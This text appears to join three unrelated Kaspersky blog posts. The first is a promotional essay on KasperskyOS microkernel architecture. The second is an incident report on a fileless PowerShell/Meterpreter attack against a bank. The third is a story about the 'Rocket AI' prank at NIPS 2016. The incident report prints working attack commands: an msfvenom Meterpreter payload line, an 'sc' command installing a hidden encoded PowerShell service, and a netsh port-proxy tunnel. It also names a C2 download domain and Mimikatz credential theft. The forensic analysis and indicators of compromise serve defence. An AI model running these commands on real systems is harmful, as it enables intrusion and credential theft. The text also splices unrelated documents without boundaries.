There are generally accepted principles that developers of all secure operating systems strive to apply, but there can be completely different approaches to implementing these principles. A secure operating system can be developed from an existing OS by improving certain characteristics that are the cause (or the consequence) of that operating system’s insecure behavior, or it can be developed from scratch. The former approach has the clear advantage of lower development costs and compatibility with a broad range of software.
Let’s consider this approach in the context of systems that are part of the critical infrastructure. Two factors are important for such systems:
The ability to fulfil special security requirements, which may involve not only preserving certain general properties of information (such as confidentiality), but such things as tracking certain commands and data flows, having no impact on process execution in the system, etc.
The provision of guarantees that the system will work securely and will not be compromised.
Building a secure system based on a popular OS commonly involves implementing additional mechanisms of access control (e.g., based on the mandatory access control model), strengthened authentication, data encryption, security event auditing, and application execution control. As a rule, these are standard security measures, with the system’s special requirements addressed at the application level. As a result, special (and often also general) security measures rely on the implementation of numerous components, each of which can be compromised. Examples include: SELinux, RSBAC, AppArmor, TrustedBSD, МСВС, and Astra Linux, etc.
To improve security, tools that make it more difficult to exploit some vulnerabilities, including those inherent in the system due to its insecure original design, can be built into the system. Examples include: Grsecurity, AppArmor, Hardened Gentoo, Atlix, YANUX, and Astra Linux, etc.
Only a few years ago, a commonly used approach was to provide “security” guarantees based on scanning software code for errors and vulnerabilities and checking software integrity by comparing checksums. That approach was used in Openwall Linux, and some operating systems developed in Russia.
Although these measures lead to an overall improvement in the characteristics of general-purpose systems, they cannot address the special requirements for systems that are part of the critical infrastructure or guarantee security with a high degree of confidence.
Unlike initiatives based on attempts to improve the security of existing operating systems, KasperskyOS was, from the start, designed based on architectural principles that can ensure its secure behavior, that meets the requirements of special-purpose systems.
However, operating systems originally designed as secure cannot always guarantee that specific security policies will be enforced. Objective reasons for this include the difficulty of specifying clear security goals for such a relatively versatile IT product as an operating system, as well as the large number and variety of threats posed by the environment.
If an operating system is designed for specific uses on a more or less fixed range of hardware, with specific software running under it within defined operating scenarios, then security goals can be defined with sufficient accuracy and a threat model can be built. To achieve security goals, the model is used to develop a specific list of security requirements and trust requirements. Fulfilling these requirements is sufficient to guarantee the system’s secure behavior. Examples include specialized embedded solutions from LynuxWorks, Wind River, and Green Hills.
For a general-purpose operating system, achieving the same guarantees is more difficult due to a broader definition of security goals (which is necessary for the system to support a broader range of secure execution scenarios). As a rule, this requires support for a whole class of policies that are needed for a specific access control type (discretionary, mandatory, role-based), customary authentication mechanisms, and other protection tools whose management does not require specialist knowledge. This requires implementing relatively universal security mechanisms. Sometimes, provided that the OS runs on a fixed hardware platform (usually from the same vendor), compliance of these mechanisms with a certain standard or security profile can be guaranteed with a sufficient degree of confidence. Examples include: Oracle Solaris with Trusted Extensions, XTS-400, and OpenVMS, AS/400.
Finally, for a general-purpose operating system that runs on an arbitrary hardware platform, achieving high security guarantees is even harder because in this case the threat model grows out of all proportion.
This problem can be solved using an approach based on building a modular system from trusted components which are small and which implement standardized interfaces. The architecture of a secure system built in this way makes it possible to port a relatively small amount of software code to various hardware platforms and verify it, while keeping top-level modules so that they can be reused. Potentially, this makes it possible to provide security guarantees for each specific use of the OS.
The development model of the KasperskuOS operating system is based on implementing small trusted low-level components which enable top-level components to be reused. This provides maximum flexibility and efficiency in tailoring the system for the specific needs of a particular deployment, while maintaining the verifiability of its security properties.
The first step towards creating a modular operating system is using a microkernel-based architecture. The microkernel is the system’s only method of interaction and data exchange, providing total access control.
However, access control provided by the microkernel cannot implement properties of the system related to supporting specific security policies. KasperskyOS implements the principle of separating access-related decisions based on the policy defined from access control implemented at the microkernel level. Access decisions based on computing security policy compliance verdicts are made by a dedicated component – the security server. Flask is the best known architecture based on this principle.
It should be noted that a number of enhanced-security operating systems (SELinux, SEBSD) based on general-purpose systems have been built using the Flask architecture, but these systems use a large monolithic kernel. In fact, Flask does not require using a microkernel, but it works best with one.
KasperskyOS does not reproduce the Flask architecture in full but develops its ideas to provide better security and flexibility of use in target systems. The original Flask architecture describes interfaces and requirements for the two main components involved in applying security policies to interaction – a security server, which computes security verdicts, and an object manager, which provides access based on these verdicts. The development of KasperskyOS is, to a large extent, focused on preserving trust not only for mechanisms that compute and apply verdicts, but also for the configuration based on which this computation is performed. Basic security policies are combined into more sophisticated rules using a configuration language. These rules are then compiled into a component that acts as an intermediary between the security server and the microkernel, enabling verdicts to be computed in a way that provides the required business logic.
The major architectural difference between KasperskyOS and other secure operating systems available in the market is that the former implements security policies for each specific deployment of the OS. Support for those policies which are not needed is simply not included in the system. As a result, in each deployment of the operating system the security subsystem provides only required functionality, excluding everything that is not needed.
As a result, KasperskyOS provides configuration of overall security policy parameters (system-wide configuration at the security server level) and rules for applying policies to each operation performed by each entity in the system (through configuration of verdict computation).
The trusted code obtained by compiling configurations connects application software with the security model in the system, specifying which operations performed by programs should be governed by which security policies. Importantly, the code does not include any information about operations or policies except references to them.
The architecture of KasperskyOS supports flexibility, applying policies to individual operations performed by different types of processes (without potentially jeopardizing security through possible compromise of the configuration).
Of course, a microkernel-based system that has Flask-like architecture is not a unique idea invented by KasperskyOS developers. There is a history of successful microkernel development (seL4, PikeOS, Feniks/Febos), including microkernels with formally verified security properties. This work can be used to implement an OS that can guarantee security domain isolation (provide “security through isolation”) – an architecture known as MILS (Multiple Independent Domains of Safety/Security).
However, this case involves developing not just a microkernel but a fully-functional operating system that provides not only the separation of security domains and isolation of incompatible information processing environments, but also control of security policy compliance within these domains. Importantly, the microkernel, the infrastructure of the OS based on it and the security policies are developed by the same vendor. Using third-party work, even if it is of high quality, always imposes limitations.
KasperskyOS is based on a microkernel developed in-house, because this provides the greatest freedom in implementing the required security architecture.
The greatest shortcoming of operating systems built from scratch is the lack of support for existing software. In part, this shortcoming can be compensated for by maintaining compatibility with popular programming interfaces, the best known of which is POSIX.
This shortcoming is also successfully remedied by using virtualization. A secure operating system in whose environment a hypervisor for virtualizing a general-purpose system can be launched, will be able to execute software for that OS. KasperskyOS, together with Kaspersky Secure Hypervisor, provides this capability. Provided that certain conditions are met, an insecure general-purpose IS can inherit the security properties of the host OS.
KasperskyOS is built with modern trends in the development and use of operating systems in mind, in order to implement efficient, practical and secure solutions.
To summarize, the KasperskyOS secure operating system is not an extension or improvement of existing operating systems, but this does not narrow the range of its applications. The system can be used as a foundation for developing solutions that have special security requirements. Capabilities related to providing flexible and effective application execution control are inherent in the architecture of KasperskyOS. The system’s development is based on security product implementation best practices and supported by scientific and practical research.
During incident response, a team of security specialists needs to follow the artefacts that attackers have left in the network. Artefacts are stored in logs, memories and hard drives. Unfortunately, each of these storage media has a limited timeframe when the required data is available. One reboot of an attacked computer will make memory acquisition useless. Several months after an attack the analysis of logs becomes a gamble because they are rotated over time. Hard drives store a lot of needed data and, depending on its activity, forensic specialists may extract data up to a year after an incident. That’s why attackers are using anti-forensic techniques (or simply SDELETE) and memory-based malware to hide their activity during data acquisition. A good example of the implementation of such techniques is Duqu2. After dropping on the hard drive and starting its malicious MSI package it removes the package from the hard drive with file renaming and leaves part of itself in the memory with a payload. That’s why memory forensics is critical to the analysis of malware and its functions. Another important part of an attack are the tunnels that are going to be installed in the network by attackers. Cybercriminals (like Carbanak or GCMAN) may use PLINK for that. Duqu2 used a special driver for that. Now you may understand why we were very excited and impressed when, during an incident response, we found that memory-based malware and tunnelling were implemented by attackers using Windows standard utilities like “SC” and “NETSH“.Description
This threat was originally discovered by a bank’s security team, after detecting Meterpreter code inside the physical memory of a domain controller (DC). Kaspersky Lab’s product detection names for such kinds of threat are MEM:Trojan.Win32.Cometer and MEM:Trojan.Win32.Metasploit. Kaspersky Lab participated in the forensic analysis after this attack was detected, discovering the use of PowerShell scripts within the Windows registry. Additionally it was discovered that the NETSH utility as used for tunnelling traffic from the victim’s host to the attacker´s C2.
We know that the Metasploit framework was used to generate scripts like the following one:
This script allocates memory, resolves WinAPIs and downloads the Meterpreter utility directly to RAM. These kind of scripts may be generated by using the Metasploit Msfvenom utility with the following command line options:
- msfvenom -p windows/meterpreter/bind_hidden_tcp AHOST=10.10.1.11 -f psh-cmd
After the successful generation of a script, the attackers used the SC utility to install a malicious service (that will execute the previous script) on the target host. This can be done, for example, using the following command:
- sc \\target_name create ATITscUA binpath= “C:\Windows\system32\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden e aQBmACgAWwBJAG4AdABQAHQA…” start= manual
The next step after installing the malicious service would be to set up tunnels to access to the infected machine from remote hosts, for example using the following command:
- netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.10.1.12 connectport=8080 listenaddress=0.0.0.0
That would result in all network traffic from 10.10.1.11:4444 being forwarded to 10.10.1.12:8080. This technique of setting up proxy tunnels will provide the attackers with the ability to control any PowerShell infected host from remote Internet hosts.
The use of the “SC” and “NETSH” utilities requires administrator privileges both in local and remote host. The use of malicious PowerShell scripts also requires privilege escalation and execution policy changes. In order to achieve this, attackers used credentials from Service accounts with administrative privileges (for example backup, service for remote task scheduler, etc.) grabbed by Mimikatz.
The analysis of memory dumps and Windows registries from affected machines allowed us to restore both Meterpreter and Mimikatz. These tools were used to collect passwords of system administrators and for the remote administration of infected hosts.
In order to get the PowerShell payload used by the attackers from the memory dumps, we used the following BASH commands:
- cat mal_powershell.ps1_4 | cut -f12 -d” ” | base64 -di | cut -f8 -d\’ | base64 -di | zcat – | cut -f2 -d\( | cut -f2 -d\” | less | grep \/ | base64 -di | hd
Resulting in the following payload:
Part of a code responsible for downloading Meterpreter from “adobeupdates.sytes[.]net”Victims
Using the Kaspersky Security Network we found more than 100 enterprise networks infected with malicious PowerShell scripts in the registry. These are detected as Trojan.Multi.GenAutorunReg.c and HEUR:Trojan.Multi.Powecod.a. The table below show the number of infections per country.
However we cannot confirm that all of them were infected by the same attacker.Attribution
During our analysis of the affected bank we learned that the attackers had used several third level domains and domains in the .GA, .ML, .CF ccTLDs. The trick of using such domains is that they are free and missing WHOIS information after domain expiration. Given that the attackers used the Metasploit framework, standard Windows utilities and unknown domains with no WHOIS information, this makes attribution almost impossible. This closest groups with the same TTPs are GCMAN and Carbanak.Conclusions
Techniques like those described in this report are becoming more common, especially against relevant targets in the banking industry. Unfortunately the use of common tools combined with different tricks makes detection very hard.
In fact, detection of this attack would be possible in RAM, network and registry only. Please check the Appendix I – Indicators of Compromise section for more details on how to detect malicious activity related to this fileless PowerShell attack.
After successful disinfection and cleaning, it is necessary to change all passwords. This attack shows how no malware samples are needed for successful exfiltration of a network and how standard and open source utilities make attribution almost impossible.
Further details of these attacks and their objectives will be presented at the Security Analyst Summit, to be held on St. Maarten from 2 to 6 April, 2017.
For more information please contact: firstname.lastname@example.orgAppendix I – Indicators of Compromise
To find the host used by an attacker using the technique described for remote connections and password collection, the following paths in the Windows registry should be analyzed:
- HKLM\SYSTEM\ControlSet001\services\ – path will be modified after using the SC utility
- HKLM\SYSTEM\ControlSet001\services\PortProxy\v4tov4\tcp – path will be modified after using the NETSH utility
In unallocated space in the Windows registry, the following artefacts might be found:
- powershell.exe -nop -w hidden -e
Please note that these IPs are taken from the IR case in which we participated, so there could be any other IP used by an eventual attacker. These artefacts indicate the use of PowerShell scripts as a malicious service and the use of the NETSH utility for building tunnels.
The annual Conference on Artificial Intelligence and Neural Information Processing Systems (NIPS) was held in Barcelona on 5–10 December 2016. This is, most likely, one of the two most important conferences in the AI field. This year, 5,680 AI experts attended the conference (the second of these large conferences is known as ICML).
This is not the first year that Kaspersky Lab is taking part in the conference – it is paramount for our experts to be well informed on the most up-to-date approaches to machine learning. This time, there were five Kaspersky Lab employees at NIPS, each from a different department and each working with machine learning implementation in order to protect users from cyberthreats.
However, my intent is to tell you not about the benefit of attending the conference but about an amusing incident that was devised and put into action by AI luminaries.Rocket AI is the Next Generation of Applied AI
This story was covered in detail by Medium, and I shall only briefly relate the essence of the matter.
Right as the conference was happening, the www.rocketai.org website was created with this bubble on the main page (see picture below):
Please note that this is not just AI, but the next generation of AI. The idea of the product is described below.
The Temporally Recurrent Optimal Learning™ approach (abbreviated as “TROL(L)”), which was not yet known to science, was actively promoted on Twitter by conference participants. Within several hours, this resulted in five large companies contacting the project’s authors with investment offers. The value of the “project” was estimated at tens of millions of dollars.
Now, it’s time to lay the cards on the table: the Rocket AI project was created by experts in machine learning as a prank whose goal was to draw attention to the issue that was put perfectly into words by an author at Medium.com: “Artificial Intelligence has become the most hyped sector of technology. With national press reporting on its dramatic potential, large corporations and investors are desperately trying to break into this field. Many start-ups go to great lengths to emphasize their use of “machine learning” in their pitches, however trivial it may seem. The tech press celebrates companies with no products, that contribute no new technology, and at overly-inflated cost.”
“Clever teams are exploiting the obscurity and cachet of this field to raise more money, knowing that investors and the press have little understanding of how machine learning works in practice,” the author added.An Anti-Virus of the Very Next Generation
It may seem that the outcome of the prank brought out nothing new: investors feel weakness for everything they hear about. Investment bubbles have existed and will continue to exist. Just our generation saw the advent of dotcoms, biometrics, and bitcoins. We have AI now, and I am sure that 2017 will give us something new as well.
Yet, after I had taken a peek at data-security start-ups, which are springing up like mushrooms after a rain and which claim that they employ the “very real” AI (of the very next generation), an amusing idea crossed my mind.
What would happen if we did the same thing that the respected AI experts did? We could come to agreements with other representatives in the cybersecurity area (I would like to point out the principle of “coopetition”, which combines market competition and cooperation in the areas of inspection and user protection) and create a joint project. Meet Rocket AV.
If respected IT experts were to advertise it all over their Twitter accounts, then — who knows? — maybe we could attract tens of millions of dollars’ worth of investments.
But no, it’d probably be better for us to continue doing what we are best at: protecting users from cyberthreats. This is the essence of True CyberSecurity.